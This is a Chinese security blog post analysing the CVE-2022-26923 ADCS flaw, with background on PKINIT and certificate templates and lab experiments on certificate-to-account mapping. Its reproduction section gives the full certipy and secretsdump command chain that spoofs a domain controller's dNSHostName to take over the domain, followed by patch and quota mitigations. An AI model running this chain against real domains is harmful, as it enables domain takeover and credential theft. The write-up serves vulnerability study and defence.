深入分析CVE-2022-26923 ADCS权限提升漏洞

2022-06-09 16:07:36 浏览数 (2)

CVE-2022-26923 ADCS权限提升漏洞深入分析直播回放地址:

https://www.xie-sec.com/detail/l_628764a1e4b01a485201cba3/4

直播 | 深入分析CVE-2022-26923 ADCS权限提升漏洞

本文大纲如下:

2022年5月10日,微软发布5月份安全补丁更新,其中CVE-2022-26923漏洞引起了人们的注意,这是一个域内权限提升漏洞,该漏洞允许低特权用户在安装了ADCS活动目录证书服务服务器角色的默认活动目录环境中将权限提升为域管理员,危害极大!

基础知识

这节主要讲解ADCS证书服务的一些基础知识。

安装ADCS服务

在讲解ADCS证书服务之前,先安装一个ADCS证书服务,如下: 这里在域控AD01上安装Active Directory证书服务。 如图所示,在域控AD01上打开服务器管理器面板,点击添加角色和功能。

选择“基于角色或基于功能的安装”选项,然后点击下一步。如图所示:

选择“从服务器池中选择服务器”选项,然后点击下一步。如图所示:

这里勾选“Active Directory证书服务”选项,然后点击下一步。如图所示:

会弹出一个框,这里直接点击添加功能即可。如图所示:

这里到了选择功能的对话框,保持默认即可,然后点击下一步。如图所示:

接着需要选择要添加的角色服务,勾选第一个证书颁发机构和证书颁发机构Web注册即可,如果需要其他角色服务的话,勾选对应的框即可。如图所示:

ADCS支持6种角色服务:

  • 证书颁发机构:该组件的主要目的是办法证书、撤销证书以及发布授权信息访问(AIA)和撤销信息。
  • 联机响应程序:可以使用该组件来配置和管理在线证书状态协议(OSCP)验证和吊销检查。在线响应程序解码特定证书的吊销状态请求,评估这些证书的状态,并返回具有请求的证书状态信息的签名响应。
  • 网络设备注册服务(NDES):通过该组件,路由器、交互机和其他网络设备可从ADCS获取证书
  • 证书颁发机构Web注册:该组件提供了一种用户使用未加入域或运行Windows以外操作系统的设备的情况下颁发和续订证书的方法。
  • 证书注册Web服务(CES):该组件用于运行Windows的计算机和CA之间的代理客户端。CES使用户、计算机或应用程序能够通过使用Web服务连接到CA:
    • 请求、更新和安装办法的证书
    • 检索证书吊销列表(CRL)
    • 下载根证书
    • 通过互联网或跨森林注册
    • 为属于不受信任的ADDS域或未加入域的计算机自动续订证书
  • 证书注册策略Web服务:该组件使用户能够获取证书注册策略信息。结合CES,它可以在用户设备未加入域或无法连接到域控的场景下实现基于策略的证书服务

显示选择角色服务,保持默认即可。然后点击下一步。如图所示:

这里到了确认安装所选内容对话框,勾选“如果需要,自动重新启动目标服务器”选项,然后点击安装。如图所示:

然后一直下一步,直到安装完成即可。如图所示:

安装好了之后,然后开始配置ADCS了。点击“配置目标服务器上的Active Directory证书服务”。如图所示:

会弹出指定凭据以配置角色服务对话框,这里我们保持默认,然后点击下一步。如图所示:

勾选“证书颁发机构”和“证书颁发机构Web注册”,然后点击下一步。如图所示:

勾选“企业CA(E)”,然后点击下一步。如图所示:

勾选“根CA(R)”,然后点击下一步。如图所示:

勾选“创建新的私钥(R)”,然后点击下一步。如图所示:

这里加密选项和加密算法我们保持默认即可。这里直接点击下一步即可。如图所示:

指定CA名称,我们保持默认即可,然后点击下一步。如图所示:

这里有效期我们保持默认即可,点击下一步,如图所示:

CA数据库的存储位置,我们保持默认即可,然后点击下一步。如图所示:

然后确认以下信息是否有误,无误的话,点击配置。如图所示:

如图所示,配置完成。

PKI公钥基础设施

PKI(Public Key Infrastructure)公钥基础设施,是提供公钥加密和数字签名服务的系统或平台,是一个包括硬件、软件、人员、策略和规程的集合,用来实现基于公钥密码体制的密钥和证书的产生、管理、存储、分发和撤销等功能。企业通过采用 PKI 框架管理密钥和证书可以建立一个安全的网络环境。 PKI的基础技术包括:公钥加密、数字签名、数据完整性机制、数字信封(混合加密)、双重数字签名等。 PKI体系能够实现的功能有: - 身份验证; - 数据完整性; - 数据机密性; - 操作的不可否认性。 微软的活动目录证书服务ADCS就是对PKI的实现,活动目录证书服务能够跟现有的活动目录域服务ADDS进行结合,可以用于身份验证、公钥加密和数字签名等。ADCS提供所有与PKI相关的组件作为角色服务。每个角色服务负责证书基础架构的特定部分,同时协同工作以形成完整的解决方案。

CA证书颁发机构

CA(Certificate Authority,证书颁发机构)是PKI系统的核心。其作用包括处理证书申请、 证书发放、 证书更新、管理已颁发的证书、吊销证书和发布证书吊销列表(CRL)等。 Active Directory证书服务中的CA有企业CA和独立CA。企业CA必须是域成员,并且通常处于联机状态以颁发证书或证书策略。而独立CA可以是成员、工作组或域。独立CA不需要ADDS活动目录域服务,并且可以在没有网络的情况下使用。但是在域中基本都是使用企业CA,因为企业CA可以和活动目录域服务ADDS进行结合,其信息也存储在Active Directory数据库中。企业CA支持基于证书模块创建证书和自动注册证书。 CA拥有公钥和私钥: - 私钥只有CA知道,私钥用于对颁发的证书进行数字签名。 - 公钥任何人都可以知道,公钥用于验证证书是否由CA颁发。

PKINIT Kerberos认证

在之前的Kerberos协议篇中我们讲了在AS-REQ请求过程中,是用用户Hash加密时间戳来进行Kerberos预身份认证的。而ADCS服务可以和ADDS紧密搭配使用,那么自然会猜想,能否利用证书来进行Kerberos预身份认证呢? 答案是可以的。在[RFC4556 Public Key Cryptography for Initial Authentication in Kerberos (PKINIT)](https://www.rfc-editor.org/rfc/rfc4556.html) 中引入了对Kerberos预身份验证的公钥加密技术支持,可以使用证书的私钥来进行Kerberos预身份认证。

如图所示,使用Rubeus执行如下命令用证书administrator.pfx进行Kerberos认证。

Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:xie.com /dc:DC01.xie.com

在认证过程中使用wireshark抓包。如图所示,可以看到在AS-REQ请求包的预认证字段为pA-PK-AS-REQ。在这个阶段,客户端发送包含证书内容的请求包,并使用证书私钥对其进行签名作为预认证数据。

而普通的kerberos协议的AS-REQ请求包是 pA-ENC-TIMESTAMP字段,是用用户Hash加密的时间戳

KDC在收到客户端发来的AS-REQ请求包后,使用证书的公钥对签名进行校验,校验通过后发送AS-REP回复包,其中包含krbtgt哈希加密的TGT认购权证和证书公钥加密的Logon Session key。

并且在微软的官方文档中注意到这么一句话:为了支持连接到不支持Kerberos身份验证的网络服务的应用程序的NTLM身份验证,当使用PKCA时,KDC将在PAC特权属性证书的PAC_CREDENTIAL_INFO缓冲区中返回用户的NTLM Hash。也就是说当使用证书进行Kerberos认证时,返回的票据的PAC中是包含用户的NTLM Hash的。

如图所示,使用kekeo执行如下命令获得administrator.pfx证书对应的administrator用户的NTLM Hash。

tgt::pac /subject:administrator /castore:current_user /domain:xie.com /user:administrator /cred

后续无论用户密码怎么更改,使用该功能获取用户的NTLM Hash都是最新的 注:在使用kekeo获取证书对应用户的NTLM Hash时,需要先将证书导入到系统中。 那么,哪些模板的证书能用于Kerberos认证呢? 在[Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)中提到了具有以下扩展权限的证书可以用于Kerberos认证: - 客户端身份验证,对应的OID为1.3.6.1.5.5.7.3.2; - PKINIT客户端身份验证,对应的OID为1.3.6.1.5.2.3.4; - 智能卡登录,对应的OID为1.3.6.1.4.1.311.20.2.2; - 任何目的,对应的OID为2.5.29.37.0; - 子CA。

证书模板

证书模板Certificate templates是CA证书颁发机构的一个组成部分,是证书策略中的重要元素,是用于证书注册、使用和管理的一组规则和格式。当CA收到对证书的请求时,必须对该请求应用一组规则和设置,以执行所请求的功能,例如证书颁发或更新。这些规则可以是简单的,也可以是复杂的,也可以适用于所有用户或特定的用户组。证书模板是在CA上配置并应用于传入证书请求的一组规则和设置。证书模板还向客户机提供了关于如何创建和提交有效的证书请求的说明。基于证书模板的证书只能由企业CA颁发。这些模板存储在活动目录域服务(ADDS)中,以供林中的每个CA使用。这允许CA始终能够访问当前标准模板,并确保跨林一致的应用。 证书模板通过允许管理员发布已为选定任务预先配置的证书,可以大大简化管理证书颁发机构(CA)的任务。证书模板管理单元允许管理员执行以下任务: - 查看每个证书模板的属性。 - 复制和修改证书模板。 - 控制哪些用户和计算机可以读取模板并注册证书。 - 执行与证书模板相关的其他管理任务。

使用certtmpl.msc命令打开证书模板控制台,可以看到系统默认的证书模板。

用户模板 用户模板是默认的证书模板。如图所示,可以看到其扩展属性里有客户端身份验证,因此用户模板申请的证书可以用于Kerberos身份认证。

如图所示,可以看到默认情况下Domain Users都有权限注册用户模板的证书。

如图所示,使用certipy执行如下命令以普通用户hack权限申请注册一个用户模板的证书。

certipy req -dc-ip 10.211.55.4 "xie.com/hack:P@ss1234@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template User -debug

计算机模板 计算机模板是默认的证书模板。如图所示,可以看到其扩展属性里有客户端身份验证,因此计算机模板申请的证书可以用于Kerberos身份认证。

如图所示,可以看到默认情况下Domain Computers都有权限注册计算机模板的证书。

使用certipy执行如下命令以普通机器用户machine$权限申请注册一个计算机模板的证书。

certipy req -dc-ip 10.211.55.4 "xie.com/machine$:root@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template Machine -debug

证书注册

我们现在来看看证书的注册流程,如图所示,是Will Schroeder和Lee Christensen发布的Certified_Pre-Owned白皮书里面画的证书注册流程:

从图中我们可以看到,证书注册流程如下: - 1)客户端生成一对公、私钥。 - 2)客户端生成证书签名请求(CSR,Certificate Signing Request),里面包含客户端生成的公钥以及请求的证书模板、请求的主体等信息。整个CSR用客户端的私钥签名,发送给CA。 - 3)CA收到请求后,从中取出公钥对CSR进行签名校验。校验通过后判断客户端请求的证书模板是否存在,如果存在,根据证书模板中的属性判断请求的主体是否有权限申请该证书。如果有权限,则还要根据其他属性,如:发布要求、使用者名称、扩展来生成证书。 - 4)CA使用其私钥签名生成的证书并发送给客户端。 - 5)客户端存储该证书在系统中。 域内机器可以使用certmgr.msc命令或 certlm.msc命令图形化申请证书。 如图所示,certmgr.msc 命令是用于管理用户证书。

如图5-169所示,certlm.msc命令是用于管理机器证书。

接下来演示给用户申请一个证书。执行certmgr.msc命令打开用户证书管理窗口,点击“个人”—>“证书”,然后右键—>“所有任务(K)”—>“申请新证书(R)”。如图所示。

在弹出来的证书注册窗口选择证书的模板,点击注册即可。如图所示,我们选择的是Kerberos身份验证模板。

证书注册好以后,执行 certsrv.msc 命令可以在证书管理窗口查看。如图所示,可以查看到刚刚注册的证书。

域内机器还可以使用certreq.exe工具和PowerShell命令Get-Certificate来申请注册证书。 还有其他的一些注册接口,在安装ADCS证书服务的时候可供选择,如: - 网络设备注册服务 - 证书颁发机构Web注册 - 证书注册Web服务 我们着重讲一下证书颁发机构Web注册接口。 如果在安装ADCS服务的时候,勾选了“证书颁发机构Web注册”选项,如图所示。那么则可以通过Web方式来申请证书。

如图所示,访问ADCS证书服务器的/Certsrv 路径即可看到该注册接口,需要输入有效的账号密码进行认证。

输入了有效的账号密码后,即可看到申请证书等功能。如图所示:

漏洞原理

前面我们提到了普通域用户能申请注册用户模板的证书,普通机器用户能申请注册计算机模板的证书,然后可以用申请的证书进行Kerberos认证。 在正常的Kerberos认证流程中,当使用用户名去进行Kerberos认证时,KDC会查询活动目录数据库中sAMAccountName属性为指定用户的对象,以此来生成对应权限信息的PAC。 那么客户端在申请证书的时候,ADCS服务器是怎么将用户相关信息写入证书的呢? 客户端在使用证书来进行Kerberos认证的时候,KDC又是如何辨别证书所属用户,然后将对应的权限信息写入票据的PAC中的呢? 对于不同的证书模板,ADCS服务器处理流程不同。现在让我们来看看ADCS服务器对于用户模板和计算机模板的处理。

用户模板

当域用户申请注册用户模板的证书时,ADCS证书服务器会根据请求的模板证书的msPKI-Certificate-Name-Flag属性来将用户的相关信息写入证书中。那么ADCS服务器是如何根据模板证书的msPKI-Certificate-Name-Flag属性来处理的呢? 查看用户模板的msPKI-Certificate-Name-Flag属性,可以看到其值为-1509949440。

CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com

而值为-1509949440 的msPKI-Certificate-Name-Flag属性包含如下几个标志位:

#查看用户模板的详细信息

certutil -v -dstemplate user

CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)

CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)

CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)

CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)

而根据微软的官方文档:[2.28 msPKI-Certificate-Name-Flag Attribute](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) 可以看到这几个标志位分别对应的含义: -CT_FLAG_SUBJECT_ALT_REQUIRE_UPN标志位指示CA将请求者在活动目录中的用户对象性的userPrincipalName属性添加到证书的Subject Alternative Name中。 - CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL标志位指示CA将请求者在活动目录中的用户对象性的mail属性添加到证书的Subject Alternative Name中。 - CT_FLAG_SUBJECT_REQUIRE_EMAIL标志位指示CA将请求者在活动目录中的用户对象性的mail属性添加到证书的Subject中。 - CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH标志位指示CA将请求者在活动目录中的用户对象性的DN属性添加到证书的Subject中。

根据这几个描述,我们可能会猜想,用户的userPrincipalName属性和mail属性对ADCS服务器判断证书所属用户会有影响。因此,在这个过程中我们做了几个实验,验证这两个属性对ADCS服务器判断证书所属用户的影响。以下实验采取控制变量法: 实验环境: - 域:xie.com - 域控:DC01(10.211.55.4) - ADCS服务器(非域控,普通域内机器):CA-Server(10.211.55.8) - CA Name:xie-CA-SERVER-CA - 普通域用户:hack/P@ss1234

实验一 hack对象不设置userPrincipalName和mail属性,如图所示:

然后用hack身份请求证书并进行kerberos认证,可以看到认证正常,获取的是hack用户对应的hash。

代码语言:javascript复制
certipy req -dc-ip 10.211.55.4 "xie.com/hack:P@ss1234@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template User -debug
certipy auth -pfx hack.pfx -dc-ip 10.211.55.4 -debug

查看申请的证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: CN = hack CN = Users DC = xie DC = com 使用者可选名称: 其他名称: 主体名称=hack@xie.com

实验二 hack对象设置userPrincipalName属性为aaaa@xie.com,但是不设置mail属性,如图所示:

然后用hack身份请求证书并进行kerberos认证,可以看到此时生成的证书文件为aaaa.pfx,并且在Kerberos认证过程中提示如下错误:

代码语言:javascript复制
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

在这个过程中抓包,可以看到在TGS-REQ阶段请求的服务为aaaa

查看证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者:

CN = hack

CN = Users

DC = xie

DC = com

使用者可选名称:

其他名称:

主体名称=aaaa@xie.com

实验三

hack对象设置userPrincipalName属性为aaaa@xie.com,设置mail属性为bbbb@xie.com,如图所示:

然后用hack身份请求证书并进行kerberos认证,可以看到此时生成的证书文件为aaaa.pfx,并且在Kerberos认证过程中报错,提示

代码语言:javascript复制
KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

对这个过程抓包,可以看到在TGS-REQ阶段请求的服务为aaaa,因此KDC提示服务端无法找到。确实在活动目录数据库中不存在sAMAccountName属性为aaaa的条目。

查看证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者:

E = bbbb@xie.com

CN = hack

CN = Users

DC = xie

DC = com

使用者可选名称

其他名称:

主体名称=aaaa@xie.com

RFC822 Name=bbbb@xie.com

实验四

hack对象设置mail属性为bbbb@xie.com,但是不设置userPrincipalName属性,如图所示:

然后用hack身份请求证书并进行kerberos认证,可以看到认证正常,获取的是hack用户的hash。

并且查看证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: E = bbbb@xie.com CN = hack CN = Users DC = xie DC = com 使用者可选名称 其他名称: 主体名称=hack@xie.com RFC822 Name=bbbb@xie.com

实验五 修改hack用户的sAMAccountName属性为cccc,mail属性为bbbb@xie.com,但是不设置userPrincipalName属性。如图所示:

此时以cccc用户名请求证书,然后进行Kerberos认证,可以看到认证成功。此时获取的还是之前hack用户的hash。

代码语言:javascript复制
certipy req -dc-ip 10.211.55.4 "xie.com/cccc:P@ss1234@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template User -debug
certipy auth -pfx cccc.pfx -dc-ip 10.211.55.4 -debug

并且查看证书的属性,可以看到使用者和使用者可选名称属性如下:

实验六 修改hack用户的userPrincipalName属性为hack@xie.com,mail属性为bbbb@xie.com,sAMAccountName保持默认不变。如图所示:

此时以hack用户名请求证书,然后进行Kerberos认证,可以看到认证成功。获取的是hack用户对应的hash。

并且查看证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: E = bbbb@xie.com CN = hack CN = Users DC = xie DC = com 使用者可选名称 其他名称: 主体名称=hack@xie.com RFC822 Name=bbbb@xie.com

实验七 修改hack用户的userPrincipalName属性为administrator@xie.com,其他属性不变。administrator用户不设置userPrincipalName属性。如图所示:

此时以hack用户名请求证书,然后进行Kerberos认证,可以看到提示如下错误

代码语言:javascript复制
[-] Verify that the username 'administrator' matches the certificate UPN: administrator@xie.com

原理总结 从上面七个实验我们可以很明显的得到下面的结论: 当域用户没有设置userPrincipalName属性时,ADCS服务器是根据请求用户的sAMAccountName属性来生成对应用户证书的。例如用户的sAMAccountName属性属性为cccc,则证书中插入对应的主体名称为cccc@xie.com。 当域用户设置了userPrincipalName属性时,ADCS服务器是根据userPrincipalName属性的值来生成对应用户证书的,此时证书的生成跟sAMAccountName属性无关。例如用户的userPrincipalName属性为aaaa@xie.com,则证书中插入对应的主体名称为aaaa@xie.com。 而mail属性对于ADCS服务器生成证书来说并无实际影响,只是会在证书的“使用者”和“使用者可选名称”位置插入mail属性的值。 那么KDC在收到用户 PKINIT Kerberos认证时是鉴别证书所属用户的呢? 首先,KDC会取出证书中“使用者可选名称”中的主体名称的值部分,如aaaa@xie.com。然后分别查询sAMAccountName属性为aaaa的条目和查userPrincipalName属性为aaaa@xie.com的条目。 如果同时查询到了,则判断两个条目是否一致,如果不一致,返回不匹配的报错,如实验七所示。如果一致,则用该条目的权限信息生成对应的PAC,如实验六所示。 如果只搜素到了sAMAccountName属性为aaaa的条目,没有搜素到userPrincipalName属性为aaaa@xie.com的条目,则用sAMAccountName属性为aaaa的条目的权限信息生成对应的PAC。如实验一所示。 如果只搜素到了userPrincipalName属性为aaaa@xie.com的条目,没有搜素到sAMAccountName属性为aaaa的条目,则用userPrincipalName属性为aaaa@xie.com的条目的权限信息生成对应的PAC。如实验二、三所示。

整个处理流程图如下:

因此,只有userPrincipalName属性影响ADCS服务器生成对应用户的证书了。并且微软规定域内userPrincipalName属性是唯一的。因此无法通过伪造userPrincipalName属性来伪造高权限。并且在域内修改用户的userPrincipalName属性需要高权限,因此针对域用户的攻击以失败而告终。

计算机模板

但是计算机账户就没有这么走运了。计算机账户是没有UPN属性的。那么KDC是如何辨别计算机账户申请的证书的所属用户呢? 当计算机用户申请注册机器模板的证书时,ADCS证书服务器会根据请求的模板证书的msPKI-Certificate-Name-Flag属性来将对应计算机的相关信息写入证书中。那么ADCS服务器是如何根据模板证书的msPKI-Certificate-Name-Flag属性来处理的呢?

查看机器模板的msPKI-Certificate-Name-Flag属性,可以看到其值为402653184。

代码语言:javascript复制
CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=xie,DC=com

而值为402653184 的msPKI-Certificate-Name-Flag属性包含如下几个标志位:

查看计算机模板的详细信息

代码语言:javascript复制
certutil -v -dstemplate machine

CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728) CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)

而根据微软的官方文档:[2.28 msPKI-Certificate-Name-Flag Attribute](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) 可以看到这几个标志位分别对应的含义:

  • CT_FLAG_SUBJECT_ALT_REQUIRE_DNS 标志位指示CA将请求者在活动目录中的用户对象性的dNSHostName属性添加到证书的Subject Alternative Name中。
  • CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN 标志位指示CA将请求者在活动目录中的用户对象性的dNSHostName属性添加到证书主题中的CN中。因此对于计算机用户来说,只有dNSHostName属性对ADCS服务器判断证书所属用户会有影响。那么到底是如何影响的呢?在这个过程中我们做了几个实验:实验环境:- 域:xie.com- 域控:DC01(10.211.55.4)- ADCS服务器(非域控,普通域内机器):CA-Server(10.211.55.8)- CA Name:xie-CA-SERVER-CA- 普通域用户:test/P@ss1234- 创建的机器用户:machine/root 首先执行如下命令利用SAMR协议远程创建机器用户machine,密码为root。使用SAMR协议创建的机器用户默认无dNSHostName和servicePrincipalName属性,如图所示:

实验一 用没有dNSHostName属性的机器用户machine$申请证书,可以看到提示如下错误:

代码语言:javascript复制
[-] Got error while trying to request certificate: code: 0x8009480f - CERTSRV_E_SUBJECT_DNS_REQUIRED - The Domain Name System (DNS) name is unavailable and cannot be added to the Subject Alternate name.

由于ADCS服务器无法辨别机器用户的身份,因此无法创建证书。

实验二 给machine$机器用户添加dNSHostName属性machine.xie.com,如图所示:

然后用machine机器用户身份请求证书并进行kerberos认证,可以看到认证正常,获取的是machine机器用户对应的hash。

代码语言:javascript复制
certipy req -dc-ip 10.211.55.4 "xie.com/machine$:root@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template Machine -debug
certipy auth -pfx machine.pfx -dc-ip 10.211.55.4 -debug

查看申请的证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: CN = machine.xie.com 使用者可选名称: DNS Name=machine.xie.com

实验三 给machine$机器用户添加dNSHostName属性dddd.xie.com,如图所示:

然后用machine$机器用户身份请求证书并进行kerberos认证,可以看到生成的证书为dddd.pfx,并且可以看到认证提示报如下错误:

代码语言:javascript复制
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

在这个过程中抓包,可以看到在AS-REQ阶段客户端为dddd,因此KDC提示客户端无法找到。确实在活动目录数据库中不存在sAMAccountName属性为dddd的条目。

查看申请的证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: CN = dddd.xie.com 使用者可选名称: DNS Name=dddd.xie.com

实验四 给machine$机器用户添加dNSHostName属性DC01.xie.com,如图所示:

然后用machine$机器用户身份请求证书并进行kerberos认证,可以看到生成的证书为dc01.pfx,并且成功获取到域控dc01的机器hash。

查看申请的证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: CN = dc01.xie.com 使用者可选名称: DNS Name=dc01.xie.com

实验五

将另一个机器对象machine2的sAMAccountName属性修改为aaaa,然后修改machine

然后用machine$机器用户身份请求证书并进行kerberos认证,可以看到生成的证书为aaaa.pfx,并且成功获取到机器machine2的机器hash。

查看申请的证书的属性,可以看到使用者和使用者可选名称属性如下:

使用者: CN = aaaa.xie.com 使用者可选名称: DNS Name=aaaa.xie.com

原理总结 从上面四个实验我们可以很明显的得到下面的结论:

  • 当机器用户没有设置dNSHostName属性时,ADCS服务器无法判断请求机器的身份,因此无法生成证书。如实验一所示。
  • 当机器用户设置dNSHostName了属性时,ADCS服务器是根据dNSHostName属性的值来生成对应机器证书的。 在整个ADCS服务器生成机器证书的过程中,只有dNSHostName属性影响了证书所属机器的生成。 那么KDC在收到机器用户 PKINIT Kerberos认证时是鉴别证书所属机器的呢? KDC会取出证书中“使用者可选名称”中DNS Name的值,如aaaa.xie.com。然后查询sAMAccountName属性为aaaa$的条目,用该条目的权限生成PAC。在这个过程并不会搜索和校验dNSHostName属性。

因此只有dNSHostName属性影响ADCS服务器生成对应机器的证书了。并且在域内dNSHostName属性并不具有唯一性。因此可以利用普通域用户创建机器用户,然后修改该机器用户的dNSHostName属性为域控,利用域控机器账号的DCSync权限导出域内任意用户哈希!

漏洞复现

实验环境: - 域:xie.com - 域控:DC01(10.211.55.4) - ADCS服务器(非域控,普通域内机器):CA-Server(10.211.55.8) - CA Name:xie-CA-SERVER-CA - 普通域用户:test/P@ss1234

首先在攻击机器配置如下hosts。

代码语言:javascript复制
10.211.55.4     DC01.xie.com

定位证书服务器

域内

在域内的话,可以执行如下命令定位证书服务器。

代码语言:javascript复制
certutil -config - -ping

或者下面的命令,不弹框定位

代码语言:javascript复制
certutil -dump -v

记住这两个值xie-CA-SERVER-CA和CA-Server.xie.com。

域外 在域外的话,可以利用certipy工具执行如下命令定位证书服务器。

代码语言:javascript复制
certipy find "xie.com/test:P@ss1234@10.211.55.4" -debug

执行完成后会在当前目录生成对应的txt、json和zip文件。我们注意到执行结果中会去联系8.212.24.67这个机器的445,并且提示连接超时。这是因为我们的机器在解析DNS Name的时候,解析到了这个ip。因为我们机器并没有配置hosts,也没有将DNS设置为域控。因此此时将这个DNS解析到了公网的地址。但是这个不影响。查看txt和json文件,找到最主要的两个值:CA Name和DNS Name。这两个值我们后续需要用到。

从图中可以看到CA Name和DNS Name分别为xie-CA-SERVER-CA和CA-Server.xie.com。

也可以将.zip文件导入BloodHound中进行分析。

不管是在域内还是域外得到了CA服务器的DNS Name后,需要将其解析为ip,然后添加到攻击机的hosts文件中。如下:

代码语言:javascript复制
10.211.55.8     CA-Server.xie.com

创建机器用户

执行如下命令使用certipy利用ldaps远程创建machine机器用户,并且设置其dnsHostname为DC01.xie.com。

代码语言:javascript复制
certipy account create "xie.com/test:P@ss1234@DC01.xie.com" -dc-ip 10.211.55.4 -user "machine" -dns 'DC01.xie.com' -debug

如图可以看到创建成功,其密码为680dXJBlJ6vy9ycN。

注:有很多创建机器用户的方式,需要注意的是,当使用SAMR协议创建机器用户时,机器用户默认没有dnsHostName属性和UPN属性。

请求证书

执行如下命令使用certipy以machine$身份请求一个Machine类型的证书。

代码语言:javascript复制
certipy req -dc-ip 10.211.55.4 "xie.com/machine$:680dXJBlJ6vy9ycN@CA-Server.xie.com" -ca xie-CA-SERVER-CA -template Machine -debug

如图可以看到成功生成dc01.pfx证书文件。

认证获得域控hash 执行如下命令使用dc01.pfx进行认证。

代码语言:javascript复制
certipy auth -pfx dc01.pfx -dc-ip 10.211.55.4 -debug

如图可以看到得到域控DC01的机器账号哈希为5f8506740ed68996ffd4e5cf80cb5174

导出域内任意用户哈希 使用DC01机器账号认证导出域内任意用户哈希。

代码语言:javascript复制
python3 secretsdump.py -hashes 5f8506740ed68996ffd4e5cf80cb5174:5f8506740ed68996ffd4e5cf80cb5174 "xie/DC01$@10.211.55.4" -just-dc-user administrator

漏洞预防和修复

微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决以上问题,也可以手动下载更新补丁程序进行安装。 如果暂时不能下载补丁进行更新,也可以通过设置域的ms-DS-MachineAccountQuota为0来进行缓解。

参考:

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26923

0 人点赞